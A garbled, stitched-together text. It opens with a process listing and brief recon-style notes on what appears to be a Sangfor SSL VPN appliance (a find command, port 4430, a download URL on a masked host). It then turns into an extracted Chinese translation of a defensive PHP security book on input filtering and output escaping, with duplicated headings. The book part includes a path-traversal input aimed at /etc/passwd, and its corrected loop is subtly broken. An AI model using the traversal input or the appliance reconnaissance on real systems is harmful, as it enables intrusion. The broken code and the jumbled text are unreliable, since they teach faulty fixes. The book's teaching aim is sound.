[kworker/0:0] root 18970 1 0 Mar13 ? 00:00:00 /sf/app/svcfiletraced/svcfiletraced root 19273 1 0 01:01 ? 00:00:00 /bin/bash /etc/cron.hourly/do_mem_regular_check.sh root 20413 1 0 Mar13 ? 00:00:00 /usr/sbin/rsyslogd -n root 20491 1 0 Mar13 ? 00:00:00 /sf/app/updateme/updateme root 20523 2 0 Mar13 ? 00:00:00 [connauth_thd] root 21278 1 0 Mar13 ? 00:00:00 /sf/app/findme/findme root 21322 1 0 Mar13 ? 00:00:04 /sf/app/logs/logs root 21376 1 0 Mar13 ? 00:00:00 /sf/app/authorize_client/authorize_client --notice_app /sf/sbin/chang e_vm_status emmapac+ 23137 27889 0 Mar13 ? 00:00:02 /sf/app/apache_mdm/bin/conhttpd -k start -DD_sp_modules -DD_mod_conht tpd_waf -DD_mod_por_stay_trace root 24424 1 0 Mar13 ? 00:00:00 /sf/app/cpuscout/cpuscout -d root 24561 1 0 Mar13 ? 00:00:00 /sf/app/sslnotifier/sslnotifier root 24565 1 0 Mar13 ? 00:00:00 /sf/app/memscout/memscout -d root 24596 1 0 Mar13 ? 00:00:00 /sf/app/ccluster/ccluster root 24642 1 0 Mar13 ? 00:00:02 /sf/app/scancpu/scancpu root 24672 1 0 Mar13 ? 00:00:02 /sf/app/AuditLogs/AuditLogs root 24803 1 0 Mar13 ? 00:00:00 /sf/app/proxy/proxy -ds root 24815 1 0 Mar13 ? 00:00:00 node --max_old_space_size=256 /sf/app/cmd_proxy/app.js root 24819 1 0 Mar13 ? 00:00:00 /sf/app/alarmmailsnd/alarmmailsnd root 24871 1 0 Mar13 ? 00:00:00 /sf/app/ssllogs/ssllogs -d root 24888 1 0 Mar13 ? 00:00:01 /sf/app/safercD/safercD root 24905 1 0 Mar13 ? 00:00:00 /sf/app/dualserver/dualserver root 24951 1 0 Mar13 ? 00:00:00 /sf/app/monitor_smbnetfs/monitor_smbnetfs root 25061 1 0 Mar13 ? 00:00:00 /sf/app/svcauthd/svcauthd root 25104 1 0 Mar13 ? 00:00:01 /sf/app/svrhost/svrhost -s /sf/lib/libdata.so -s /sf/lib/libruntime.s o -s /sf/lib/liblioctrl.so -c 600 -d root 25107 1 0 Mar13 ? 00:00:00 /sf/webui/bin/boa root 25109 1 0 Mar13 ? 00:00:01 /sf/app/timeqry/timeqry root 25124 1 0 Mar13 ? 00:00:00 node --max_old_space_size=256 /sf/app/node_apns/node-apns.js root 25128 1 0 Mar13 ? 00:00:00 /sf/app/importldap/importldap root 25152 1 0 Mar13 ? 00:00:02 /sf/app/mdm/mdmd root 25153 1 0 Mar13 ? 00:00:00 /sf/app/tsmanager/tsmanager root 25195 1 0 Mar13 ? 00:00:00 /sf/app/dosckctl/dosckctl root 25221 1 0 Mar13 ? 00:00:01 /sf/app/ip_policy/pipc root 25225 1 0 Mar13 ? 00:00:00 /sf/app/pppd_angel/pppd_angel root 25240 1 0 Mar13 ? 00:00:00 /sf/app/vssoproxy/vssoproxy -d root 25250 1 0 Mar13 ? 00:00:00 node --max_old_space_size=256 /sf/app/node_proxy/node_proxy_server.js root 25280 1 0 Mar13 ? 00:00:02 /sf/app/fwserver/fwserver root 25291 1 0 Mar13 ? 00:00:01 /sf/app/ip_policy/pipd root 25316 24803 0 Mar13 ? 00:00:00 proxyworker -i 1 -f 6 root 25317 24803 0 Mar13 ? 00:00:00 proxyworker -i 2 -f 6 root 25318 24803 0 Mar13 ? 00:00:00 proxyworker -i 3 -f 6 root 25319 24803 0 Mar13 ? 00:00:00 proxyworker -i 4 -f 6 root 25328 24803 0 Mar13 ? 00:00:00 proxyworker -i 5 -f 6 root 25329 24803 0 Mar13 ? 00:00:00 proxyworker -i 6 -f 6 root 25330 24803 0 Mar13 ? 00:00:00 proxyworker -i 7 -f 6 redis 25338 1 0 Mar13 ? 00:00:08 /sf/app/redis/redis-server 172.17.59.167:7005 root 25341 1 0 Mar13 ? 00:00:01 /sf/app/session_check/session_check root 25346 1 0 Mar13 ? 00:00:00 /sf/app/webfs/smbnetfs /etc/runtime/fsmnt/cifs -o allow_other -s root 25541 1 0 Mar13 ? 00:00:00 /sf/app/autoupdatecrl/autoupdatecrl root 25566 1 0 Mar13 tty7 00:00:00 /sf/app/menuconfigd/menuconfigd root 25570 25566 0 Mar13 tty7 00:00:00 /bin/sh /sf/sbin/menuconfig.sh root 25573 1 0 Mar13 ? 00:00:00 /sf/app/mdm/pushd root 25705 1 0 Mar13 ? 00:00:00 /sf/app/redis/redis_counter root 25712 24803 0 Mar13 ? 00:00:00 proxyworker -i 8 -f 6 root 25800 1 0 Mar13 ? 00:00:00 php-fpm: master process (/etc/sangfor/php-fpm/php-fpm.conf) nobody 25801 25800 0 Mar13 ? 00:00:00 php-fpm: pool php_portal root 25879 1 0 Mar13 ? 00:00:00 /sf/app/webfs/winbindd -l /dev/null root 25908 25879 0 Mar13 ? 00:00:00 /sf/app/webfs/winbindd -l /dev/null root 25928 1 0 Mar13 ? 00:00:06 /sf/app/ip_policy/iptun root 26236 1 0 Mar13 ? 00:00:04 /sf/app/MLineDetect/MLineDetect ssldaemon root 26942 1 0 Mar13 ? 00:00:00 /sf/app/webfs/fsmanager -d root 27889 1 0 Mar13 ? 00:00:00 /sf/app/apache_mdm/bin/conhttpd -k start -DD_sp_modules -DD_mod_conht tpd_waf -DD_mod_por_stay_trace emmapac+ 28122 27889 0 Mar13 ? 00:00:02 /sf/app/apache_mdm/bin/conhttpd -k start -DD_sp_modules -DD_mod_conht tpd_waf -DD_mod_por_stay_trace emmapac+ 28123 27889 0 Mar13 ? 00:00:02 /sf/app/apache_mdm/bin/conhttpd -k start -DD_sp_modules -DD_mod_conht tpd_waf -DD_mod_por_stay_trace emmapac+ 28124 27889 0 Mar13 ? 00:00:02 /sf/app/apache_mdm/bin/conhttpd -k start -DD_sp_modules -DD_mod_conht tpd_waf -DD_mod_por_stay_trace root 31079 2 0 Mar13 ? 00:00:00 [kworker/1:2] root 31147 1 0 Mar13 ? 00:00:00 node --max_old_space_size=320 /sf/app/ntwf_framework/cluster.js root 31155 31147 0 Mar13 ? 00:00:01 /sf/sbin/node --max_old_space_size=320 /sf/app/ntwf_framework/index.j s -d --cpunum=0 root 31168 31147 0 Mar13 ? 00:00:01 /sf/sbin/node --max_old_space_size=320 /sf/app/ntwf_framework/index.j s -d --cpunum=1 root 32023 1 0 Mar13 ? 00:00:00 /sf/app/ctrlsys_webagent/ctrlsys_webagent root 32692 1 0 Mar13 ? 00:00:00 /sf/app/arpnotify/arpnotify ​ 0x03 4430 ​ ​ ​ ​ find / -name "*.*" -type f | xargs grep -s "/sf/webui/bin/boa" ​ ​ ​ ​ ​ ​ ​ ​ directoryIndex html/index.html ​ ​ https://xxxxx:4430/html/com/SANGFOR-SSL-MIB.zip ​
pdf
《PHP 安全基础详解》 www.528163.cn 提供 《 《 《 《PHP 安全基础 安全基础 安全基础 安全基础详解 详解 详解 详解》 》 》 》 www.528163.cn 提供 《PHP 安全基础详解》 www.528163.cn 提供 第一章 第一章 第一章 第一章 简介 简介 简介 简介 PHP 已经由一个制作个人网页的工具发展成为了世界上最流行的网络编程 语言。它保证了许多网络上最繁忙的站点的运行。这一转变带来了亟待关注的问 题,那就是性能、可维护性、可测性、可靠性以及最重要的一点—安全性。 与语言的一些功能如条件表达式、循环结构等相比,安全性更为抽象。事实 上,安全性更像是开发者的特性而不是语言的特性。任何语言都不能防止不安全 的代码,尽管语言的有些特点能对有安全意识的开发人员有作用。 本书着眼于 PHP 语言,向您展示如何通过操纵 PHP 一些特殊的功能写出安 全的代码。本书中的概念,适用于任何网络开发平台。网络应用程序的安全是一 门年轻的和发展中的学科。本书会从理论出发,教会您一些好的习惯,使您能安 枕无忧,从容应对恶意者层出不穷的新的攻击和技巧。 本章是本书的基础部分。作为学习后续章节的前提,将教给您一些原则和经 验。 1.1.PHP 功能 功能 功能 功能 PHP 有许多适合于 WEB 开发的功能。一些在其它语言中很难实现的普通工 作在 PHP 中变得易如反掌,这有好处也有坏处。有一个功能比其它功能来更引 人注目,这个功能就是 register_globals。 1.1.1. 全局变量注册 全局变量注册 全局变量注册 全局变量注册 如果您还能记起早期 WEB 应用开发中使用 C 开发 CGI 程序的话,一定会 对繁琐的表单处理深有体会。当 PHP 的 register_globals 配置选项打开时,复杂 的原始表单处理不复存在,公用变量会自动建立。它让 PHP 编程变得容易和方 便,但同时也带来了安全隐患。 事实上,register_globals 是无辜的,它并不会产生漏洞,同时还要开发者犯 错才行。可是,有两个主要原因导致了您必须在开发和布署应用时关闭 register_globals: 第一,它会增加安全漏洞的数量; 第二,隐藏了数据的来源,与开发者需要随时跟踪数据的责任相违背。 《PHP 安全基础详解》 www.528163.cn 提供 本书中所有例子都假定 register_globals 已被关闭,用超级公用数组如$_GET 和 $_POST 取而代之。使用这些数组几乎与 register_globals 开启时的编程方法同 样方便,而其中的些许不便是值得的,因为它提高了程序的安全性。 小提示 如果您必须要开发一个在 register_globals 开启的环境中布署的应用时,很重 要的一点是您必须要初始化所有变量并且把 error_reporting 设为 E_ALL(或 E_ALL | E_STRICT)以对未初始化变量进行警告。当 register_globals 开启时,任 何使用未初始化变量的行为几乎就意味着安全漏洞。 1.1.2. 错误报告 错误报告 错误报告 错误报告 没有不会犯错的开发者,PHP 的错误报告功能将协助您确认和定位这些错 误。可以 PHP 提供的这些详细描述也可能被恶意攻击者看到,这就不妙了。使 大众看不到报错信息,这一点很重要。做到这一点很容易,只要关闭 display_errors,当然如果您希望得到出错信息,可以打开 log_errors 选项,并在 error_log 选项中设置出错日志文件的保存路径。 由于出错报告的级别设定可以导致有些错误无法发现,您至少需要把 error_reporting 设为 E_ALL(E_ALL | E_STRICT 是最高的设置, 提供向下兼容的 建议, 如不建议使用的提示). 所有的出错报告级别可以在任意级别进行修改,所以您如果使用的是共享的 主机,没有权限对 php.ini, httpd.conf, 或 .htaccess 等配置文件进行更改时,您可 以在程序中运行出错报告级别配置语句:<?php ini_set('error_reporting', E_ALL | E_STRICT); ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); ini_set('error_log', '/usr/local/apache/logs/error_log'); ?> 小提示 http://php.net/manual/ini.php 对 php.ini 的选项配置作了详尽的说明。 PHP 还允许您通过 set_error_handler( ) 函数指定您自已的出错处理函数: <?php set_error_handler('my_error_handler'); ?> 上面程序指定了您自已的出错处理函数 my_error_handler( ); 下面是一个实 《PHP 安全基础详解》 www.528163.cn 提供 际使用的示例:<?php function my_error_handler($number, $string, $file, $line, $context) { $error = "= == == == ==\nPHP ERROR\n= == == == ==\n"; $error .= "Number: [$number]\n"; $error .= "String: [$string]\n"; $error .= "File: [$file]\n"; $error .= "Line: [$line]\n"; $error .= "Context:\n" . print_r($context, TRUE) . "\n\n"; error_log($error, 3, '/usr/local/apache/logs/error_log'); } ?> 小提示 PHP 5 还允许向 set_error_handler( )传递第二个参数以限定在什么出错情况 下执行出定义的出错处理函数。比如,现在建立一个处理告警级别(warning) 错误的函数:<?php set_error_handler('my_warning_handler', E_WARNING); ?> PHP5 还提供了异常处理机制,详见 http://php.net/exceptions 1.2.原则 原则 原则 原则 你可以列出一大堆开发安全应用的原则,但在本处我选取了我认为对 PHP 开发者最重要的几个原则。 这些原则有意的写得抽象和理论化。这样做的目的是帮助你从大处着眼,不 拘泥于细节。你需要把它们看成是你行动的指南。 1.2.1. 深度防范 深度防范 深度防范 深度防范 深度防范原则是安全专业人员人人皆知的原则,它说明了冗余安全措施的价 值,这是被历史所证明的。 深度防范原则可以延伸到其它领域,不仅仅是局限于编程领域。使用过备份 伞的跳伞队员可以证明有冗余安全措施是多么的有价值,尽管大家永远不希望主 伞失效。一个冗余的安全措施可以在主安全措施失效的潜在的起到重大作用。 《PHP 安全基础详解》 www.528163.cn 提供 回到编程领域,坚持深度防范原则要求您时刻有一个备份方案。如果一个安 全措施失效了,必须有另外一个提供一些保护。例如,在用户进行重要操作前进 行重新用户认证就是一个很好的习惯,尽管你的用户认证逻辑里面没有已知缺 陷。如果一个未认证用户通过某种方法伪装成另一个用户,提示录入密码可以潜 在地避免未认证(未验证)用户进行一些关键操作。 尽管深度防范是一个合理的原则,但是过度地增加安全措施只能增加成本和 降低价值。 1.2.2. 最小权限 最小权限 最小权限 最小权限 我过去有一辆汽车有一个佣人钥匙。这个钥匙只能用来点火,所以它不能打 开车门、控制台、后备箱,它只能用来启动汽车。我可以把它给泊车员(或把它 留在点火器上),我确认这个钥匙不能用于其它目的。 把一个不能打开控制台或后备箱的钥匙给泊车员是有道理的,毕竟,你可能 想在这些地方保存贵重物品。但我觉得没有道理的是为什么它不能开车门。当然, 这是因为我的观点是在于权限的收回。我是在想为什么泊车员被取消了开车门的 权限。在编程中,这是一个很不好的观点。相反地,你应该考虑什么权限是必须 的,只能给予每个人完成他本职工作所必须的尽量少的权限。 一个为什么佣人钥匙不能打开车门的理由是这个钥匙可以被复制,而这个复 制的钥匙在将来可能被用于偷车。这个情况听起来不太可能发生,但这个例子说 明了不必要的授权会加大你的风险,即使是增加了很小权限也会如此。风险最小 化是安全程序开发的主要组成部分。 你无需去考虑一项权限被滥用的所有方法。事实上,你要预测每一个潜在攻 击者的动作是几乎不可能的。 1.2.3. 简单就是美 简单就是美 简单就是美 简单就是美 复杂滋生错误,错误能导致安全漏洞。这个简单的事实说明了为什么简单对 于一个安全的应用来说是多么重要。没有必要的复杂与没有必要的风险一样糟 糕。 例如,下面的代码摘自一个最近的安全漏洞通告: <?php $search = (isset($_GET['search']) ? $_GET['search'] : ''); ?> 这个流程会混淆$search 变量受污染*的事实,特别是对于缺乏经验的开发者 而言。上面语句等价于下面的程序:<?php 《PHP 安全基础详解》 www.528163.cn 提供 $search = ''; if (isset($_GET['search'])) { $search = $_GET['search']; } ?> 上面的两个处理流程是完全相同的。现在请注意一下下面的语句: $search = $_GET['search']; 使用这一语句,在不影响流程的情况下,保证了$search 变量的状态维持原 样,同时还可以看出它是否受污染。 * 译注:受污染变量,即在程序执行过程中,该变量的值不是由赋值语句直 接指定值,而是来自其它来源,如控制台录入、数据库等。 1.2.4. 暴露最小化 暴露最小化 暴露最小化 暴露最小化 PHP 应用程序需要在 PHP 与外部数据源间进行频繁通信。主要的外部数据 源是客户端浏览器和数据库。如果你正确的跟踪数据,你可以确定哪些数据被暴 露了。Internet 是最主要的暴露源,这是因为它是一个非常公共的网络,您必须 时刻小心防止数据被暴露在 Internet 上。 数据暴露不一定就意味着安全风险。可是数据暴露必须尽量最小化。例如, 一个用户进入支付系统,在向你的服务器传输他的信用卡数据时,你应该用 SSL 去保护它。如果你想要在一个确认页面上显示他的信用卡号时,由于该卡号信息 是由服务器发向他的客户端的,你同样要用 SSL 去保护它。 再谈谈上一小节的例子,显示信用卡号显然增加了暴露的机率。SSL 确实可 以降低风险,但是最佳的解决方案是通过只显示最后四位数,从而达到彻底杜绝 风险的目的。 为了降低对敏感数据的暴露率,你必须确认什么数据是敏感的,同时跟踪它, 并消除所有不必要的数据暴露。在本书中,我会展示一些技巧,用以帮助你实现 对很多常见敏感数据的保护。 1.3.方法 方法 方法 方法 就像上一节中的原则一样,开发安全应用时,还有很多方法可以使用。下面 提到的所有方法同样是我认为比较重要的。 《PHP 安全基础详解》 www.528163.cn 提供 某些方法是抽象的,但每一个都有实例说明如何应用及其目的。 1.3.1. 平衡风险与可用性 平衡风险与可用性 平衡风险与可用性 平衡风险与可用性 用户操作的友好性与安全措施是一对矛盾,在提高安全性的同时,通常会降 低可用性。在你为不合逻辑的使用者写代码时,必须要考虑到符合逻辑的正常使 用者。要达到适当的平衡的确很难,但是你必须去做好它,没有人能替代你,因 为这是你的软件。 尽量使安全措施对用户透明,使他们感受不到它的存在。如果实在不可能, 就尽量采用用户比较常见和熟悉的方式来进行。例如,在用户访问受控信息或服 务前让他们输入用户名和密码就是一种比较好的方式。 当你怀疑可能有非法操作时,必须意识到你可能会搞借。例如,在用户操作 时如果系统对用户身份有疑问时,通常用让用户再次录入密码。这对于合法用户 来说只是稍有不便,而对于攻击者来说则是铜墙铁壁。从技术上来说,这与提示 用户进行重新登录基本是一样的,但是在用户感受上,则有天壤之别。 没有必要将用户踢出系统并指责他们是所谓的攻击者。当你犯错时,这些流 程会极大的降低系统的可用性,而错误是难免的。 在本书中,我着重介绍透明和常用的安全措施,同时我建议大家对疑似攻击 行为做出小心和明智的反应。 1.3.2. 跟踪数据 跟踪数据 跟踪数据 跟踪数据 作为一个有安全意识的开发者,最重要的一件事就是随时跟踪数据。不只是 要知道它是什么和它在哪里,还要知道它从哪里来,要到哪里去。有时候要做到 这些是困难的,特别是当你对 WEB 的运做原理没有深入理解时。这也就是为什 么尽管有些开发者在其它开发环境中很有经验,但他对 WEB 不是很有经验时, 经常会犯错并制造安全漏洞。 大多数人在读取 EMAIL 时,一般不会被题为"Re: Hello"之类的垃圾邮件所 欺骗,因为他们知道,这个看起来像回复的主题是能被伪造的。因此,这封邮件 不一定是对前一封主题为"Hello."的邮件的回复。简而言之,人们知道不能对这 个主题不能太信任。但是很少有人意识到发件人地址也能被伪造,他们错误地认 为它能可靠地显示这个 EMAIL 的来源。 Web 也非常类似,我想教给大家的其中一点是如何区分可信的和不可信的数 据。做到这一点常常是不容易的,盲目的猜测并不是办法。 PHP 通过超级全局数组如$_GET, $_POST, 及$_COOKIE 清楚地表示了用户 数据的来源。一个严格的命名体系能保证你在程序代码的任何部分知道所有数据 《PHP 安全基础详解》 www.528163.cn 提供 的来源,这也是我一直所示范和强调的。 知道数据在哪里进入你的程序是极为重要的,同时知道数据在哪里离开你的 程序也很重要。例如,当你使用 echo 指令时,你是在向客户端发送数据;当你 使用 mysql_query 时,你是在向 MySQL 数据库发送数据(尽管你的目的可能是 取数据)。 在我审核 PHP 代码是否有安全漏洞时,我主要检查代码中与外部系统交互 的部分。这部分代码很有可能包含安全漏洞,因此,在开发与代码检查时必须要 加以特别仔细的注意。 1.3.3. 过滤输入 过滤输入 过滤输入 过滤输入 过滤是 Web 应用安全的基础。它是你验证数据合法性的过程。通过在输入 时确认对所有的数据进行过滤,你可以避免被污染(未过滤)数据在你的程序中 被误信及误用。大多数流行的 PHP 应用的漏洞最终都是因为没有对输入进行恰 当过滤造成的。 我所指的过滤输入是指三个不同的步骤: l 识别输入 l 过滤输入 l 区分已过滤及被污染数据 把识别输入做为第一步是因为如果你不知道它是什么,你也就不能正确地过 滤它。输入是指所有源自外部的数据。例如,所有发自客户端的是输入,但客户 端并不是唯一的外部数据源,其它如数据库和 RSS 推送等也是外部数据源。 由用户输入的数据非常容易识别,PHP 用两个超级公用数组$_GET 和 $_POST 来存放用户输入数据。其它的输入要难识别得多,例如,$_SERVER 数 组中的很多元素是由客户端所操纵的。常常很难确认$_SERVER 数组中的哪些元 素组成了输入,所以,最好的方法是把整个数组看成输入。 在某些情况下,你把什么作为输入取决于你的观点。例如,session 数据被 保存在服务器上,你可能不会认为 session 数据是一个外部数据源。如果你持这 种观点的话,可以把 session 数据的保存位置是在你的软件的内部。意识到 session 的保存位置的安全与软件的安全是联系在一起的事实是非常明智的。同样的观点 可以推及到数据库,你也可以把它看成你软件的一部分。 一般来说,把 session 保存位置与数据库看成是输入是更为安全的,同时这 也是我在所有重要的 PHP 应用开发中所推荐的方法。 《PHP 安全基础详解》 www.528163.cn 提供 一旦识别了输入,你就可以过滤它了。过滤是一个有点正式的术语,它在平 时表述中有很多同义词,如验证、清洁及净化。尽管这些大家平时所用的术语稍 有不同,但它们都是指的同一个处理:防止非法数据进入你的应用。 有很多种方法过滤数据,其中有一些安全性较高。最好的方法是把过滤看成 是一个检查的过程。请不要试图好心地去纠正非法数据,要让你的用户按你的规 则去做,历史证明了试图纠正非法数据往往会导致安全漏洞。例如,考虑一下下 面的试图防止目录跨越的方法(访问上层目录)。<?php $filename = str_replace('..', '.', $_POST['filename']); ?> 你能想到$_POST['filename']如何取值以使$filename 成为 Linux 系统中用户 口令文件的路径../../etc/passwd 吗? 答案很简单: .../.../etc/passwd 这个特定的错误可以通过反复替换直至找不到为止:<?php $filename = $_POST['filename']; while (strpos($_POST['filename'], '..') != = FALSE) { $filename = str_replace('..', '.', $filename); } ?> 当然,函数 basename( )可以替代上面的所有逻辑,同时也能更安全地达到 目的。不过重要点是在于任何试图纠正非法数据的举动都可能导致潜在错误并允 许非法数据通过。只做检查是一个更安全的选择。 译注:这一点深有体会,在实际项目曾经遇到过这样一件事,是对一个用户 注册和登录系统进行更改,客户希望用户名前后有空格就不能登录,结果修改时 对用户登录程序进行了更改,用 trim()函数把输入的用户名前后的空格去掉了 (典型的好心办坏事),但是在注册时居然还是允许前后有空格!结果可想而知。 除了把过滤做为一个检查过程之外,你还可以在可能时用白名单方法。它是 指你需要假定你正在检查的数据是非法的,除非你能证明它是合法的。换而言之, 你宁可在小心上犯错。使用这个方法,一个错误只会导致你把合法的数据当成是 非法的。尽管不想犯任何错误,但这样总比把非法数据当成合法数据要安全得多。 通过减轻犯错引起的损失,你可以提高你的应用的安全性。尽管这个想法在理论 上是很自然的,但历史证明,这是一个很有价值的方法。 《PHP 安全基础详解》 www.528163.cn 提供 如果你能正确可靠地识别和过滤输入,你的工作就基本完成了。最后一步是 使用一个命名约定或其它可以帮助你正确和可靠地区分已过滤和被污染数据的 方法。我推荐一个比较简单的命名约定,因为它可以同时用在面向过程和面向对 象的编程中。我用的命名约定是把所有经过滤的数据放入一个叫$clean 的数据 中。你需要用两个重要的步骤来防止被污染数据的注入: l 经常初始化$clean 为一个空数组。 l 加入检查及阻止来自外部数据源的变量命名为 clean, 实际上,只有初始化是至关紧要的,但是养成这样一个习惯也是很好的:把 所有命名为 clean 的变量认为是你的已过滤数据数组。这一步骤合理地保证了 $clean 中只包括你有意保存进去的数据,你所要负责的只是不在$clean 存在被污 染数据。 为了巩固这些概念,考虑下面的表单,它允许用户选择三种颜色中的一种; <form action="process.php" method="POST"> Please select a color: <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> 在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择 中的一个。在第二章中你将学到,客户端能提交任何数据作为$_POST['color']的 值。为了正确地过滤数据,你需要用一个 switch 语句来进行:<?php $clean = array( ); switch($_POST['color']) { case 'red': case 'green': case 'blue': $clean['color'] = $_POST['color']; break; } ?> 本例中首先初始化了$clean 为空数组以防止包含被污染的数据。一旦证明 $_POST['color']是 red, green, 或 blue 中的一个时,就会保存到$clean['color']变量 《PHP 安全基础详解》 www.528163.cn 提供 中。因此,可以确信$clean['color']变量是合法的,从而在代码的其它部分使用它。 当然,你还可以在 switch 结构中加入一个 default 分支以处理非法数据的情况。 一种可能是再次显示表单并提示错误。特别小心不要试图为了友好而输出被污染 的数据。 上面的方法对于过滤有一组已知的合法值的数据很有效,但是对于过滤有一 组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名只 能由字母及数字组成:<?php $clean = array( ); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } ?> 尽管在这种情况下可以用正则表达式,但使用 PHP 内置函数是更完美的。 这些函数包含错误的可能性要比你自已写的代码出错的可能性要低得多,而且在 过滤逻辑中的一个错误几乎就意味着一个安全漏洞。 1.3.4. 输出转义 输出转义 输出转义 输出转义 另外一个 Web 应用安全的基础是对输出进行转义或对特殊字符进行编码, 以保证原意不变。例如,O'Reilly 在传送给 MySQL 数据库前需要转义成 O\'Reilly。 单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。 我所指的输出转义具体分为三步: l 识别输出 l 输出转义 l 区分已转义与未转义数据 只对已过滤数据进行转义是很有必要的。尽管转义能防止很多常见安全漏 洞,但它不能替代输入过滤。被污染数据必须首先过滤然后转义。 在对输出进行转义时,你必须先识别输出。通常,这要比识别输入简单得多, 因为它依赖于你所进行的动作。例如,识别到客户端的输出时,你可以在代码中 查找下列语句: echo 《PHP 安全基础详解》 www.528163.cn 提供 print printf <?= 作为一项应用的开发者,你必须知道每一个向外部系统输出的地方。它们构 成了输出。 象过滤一样,转义过程在依情形的不同而不同。过滤对于不同类型的数据处 理方法也是不同的,转义也是根据你传输信息到不同的系统而采用不同的方法。 对于一些常见的输出目标(包括客户端、数据库和 URL)的转义,PHP 中 有内置函数可用。如果你要写一个自己算法,做到万无一失很重要。需要找到在 外系统中特殊字符的可靠和完整的列表,以及它们的表示方式,这样数据是被保 留下来而不是转译了。 最常见的输出目标是客户机,使用 htmlentities( )在数据发出前进行转义是最 好的方法。与其它字符串函数一样,它输入是一个字符串,对其进行加工后进行 输出。但是使用 htmlentities( )函数的最佳方式是指定它的两个可选参数:引号的 转义方式(第二参数)及字符集(第三参数)。引号的转义方式应该指定为 ENT_QUOTES,它的目的是同时转义单引号和双引号,这样做是最彻底的,字 符集参数必须与该页面所使用的字符集相必配。 为了区分数据是否已转义,我还是建议定义一个命名机制。对于输出到客户 机的转义数据,我使用$html 数组进行存储,该数据首先初始化成一个空数组, 对所有已过滤和已转义数据进行保存。<?php $html = array( ); $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo "<p>Welcome back, {$html['username']}.</p>"; ?> 小提示 htmlspecialchars( )函数与 htmlentities( )函数基本相同,它们的参数定义完全 相同,只不过是 htmlentities( )的转义更为彻底。 通过$html['username']把 username 输出到客户端,你就可以确保其中的特殊 字符不会被浏览器所错误解释。如果 username 只包含字母和数字的话,实际上 转义是没有必要的,但是这体现了深度防范的原则。转义任何的输出是一个非常 好的习惯,它可以戏剧性地提高你的软件的安全性。 另外一个常见的输出目标是数据库。如果可能的话,你需要对 SQL 语句中 的数据使用 PHP 内建函数进行转义。对于 MySQL 用户,最好的转义函数是 《PHP 安全基础详解》 www.528163.cn 提供 mysql_real_escape_string( )。如果你使用的数据库没有 PHP 内建转义函数可用的 话,addslashes( )是最后的选择。 下面的例子说明了对于 MySQL 数据库的正确的转义技巧:<?php $mysql = array( ); $mysql['username'] = mysql_real_escape_string($clean['username']); $sql = "SELECT * FROM profile WHERE username = '{$mysql['username']}'"; $result = mysql_query($sql); ?> 第二章 第二章 第二章 第二章 表单及 表单及 表单及 表单及 URL 本章主要讨论表单处理,同时还有在处理来自表单和 URL 数据时需要加以 注意的最常见的攻击类型。你可以学到例如跨站脚本攻击(XSS)及跨站请求伪 造(CSRF)等攻击方式,同时还能学到如何手工制作欺骗表单及 HTTP 请求。 通过本章的学习,你不仅可以看到这些攻击方法的实例,而且可以学到防范 它们的方法。 小提示 跨站脚本攻击漏洞的产生主要是由于你误用了被污染的数据。虽说大多数应 用的主要输入源是用户,但任何一个远程实体都可以向你的软件输入恶意数据。 本章中所描述的多数方法直接适于用于处理任何一个远程实体的输入,而不仅仅 是用户。关于输入的过滤详见第一章。 2.1. 表单与数据 表单与数据 表单与数据 表单与数据 在典型的 PHP 应用开发中,大多数的逻辑涉及数据处理任务,例如确认用 户是否成功登录,在购物车中加入商品及处理信用卡交易。 数据可能有无数的来源,做为一个有安全意识的开发者,你需要简单可靠地 区分两类数据: l 已过滤数据 l 被污染数据 《PHP 安全基础详解》 www.528163.cn 提供 所有你自己设定的数据可信数据,可以认为是已过滤数据。一个你自己设定 的数据是任何的硬编码数据,例如下面的 email 地址数据: $email = 'chris@example.org'; 上面的 Email 地址 chris@example.org 并不来自任何远程数据源。显而易见 它是可信的。任何来自远程数据源的数据都是输入,而所有的输入数据都是被污 染的,必须在要在使用前对其进行过滤。 被污染数据是指所有不能保证合法的数据,例如用户提交的表单,从邮件服 务器接收的邮件,及其它 web 应用中发送过来的 xml 文档。在前一个例子中, $email 是一个包含有已过滤数据的变量。数据是关键,而不是变量。变量只是数 据的容器,它往往随着程序的执行而为被污染数据所覆盖: $email = $_POST['email']; 当然,这就是$email 叫做变量的原因,如果你不希望数据进行变化,可以使 用常量来代替: define('EMAIL', 'chris@example.org'); 如果用上面的语句进行定义,EMAIL 在整个脚本运行中是一个值为 chris@example.org 的不变的常量,甚至在你把试图把它重新赋值时也不会改变 (通常是不小心)。例如,下面的代码输出为 chris@example.org (试图重定义一 个常量会引起一个级别为 Notice 的报错信息)。 <?php define('EMAIL', 'chris@example.org'); define('EMAIL', 'rasmus@example.org'); echo EMAIL; ?> 小提示 欲更多了解常量, 请访问 http://php.net/constants. 正如第一章中所讨论过的,register_globals 可使确定一个变量如$email 的来 源变得十分困难。所有来自外部数据源的数据在被证明合法前都应该被认为被污 染的。 尽管一个用户能用多种方式发送数据,大多数应用还是依据表单的提交结果 进行最重要的操作。另外一个攻击者只要通过操纵提交数据(你的应用进行操作 《PHP 安全基础详解》 www.528163.cn 提供 的依据)即可危害,而表单向他们方便地开放了你的应用的设计方案及你需要使 用的数据。这也是表单处理是所有 Web 应用安全问题中的首先要关心的问题的 原因。 一个用户可以通过三种方式您的应用传输数据: l 通过 URL(如 GET 数据方式) l 通过一个请求的内容(如 POST 数据方式) l 通过 HTTP 头部信息(如 Cookie) 由于 HTTP 头部信息并不与表单处理直接相关,在本章中不作讨论。通常, 对 GET 与 POST 数据的怀疑可以推及到所有输入,包括 HTTP 头部信息。 表单通过 GET 或 POST 请求方式传送数据。当你建立了一个 HTML 表单, 你需要在 form 标签的 method 属性中指定请求方式: 在前例中,请求方式被指定为 GET,浏览器将通过 URL 的请求串部分传输 数据,例如,考虑下面的表单: <form action="http://example.org/login.php" method="GET"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" /></p> </form> 如果我输入了用户名 chris 和密码 mypass,在表单提交后,我会到达 URL 为 http://example.org/login.php?username=chris&password=mypass 的页面。该 URL 最简单的合法 HTTP/1.1 请求信息如下: GET /login.php?username=chris&password=mypass HTTP/1.1 Host: example.org 并不是必须要使用 HTML 表单来请求这个 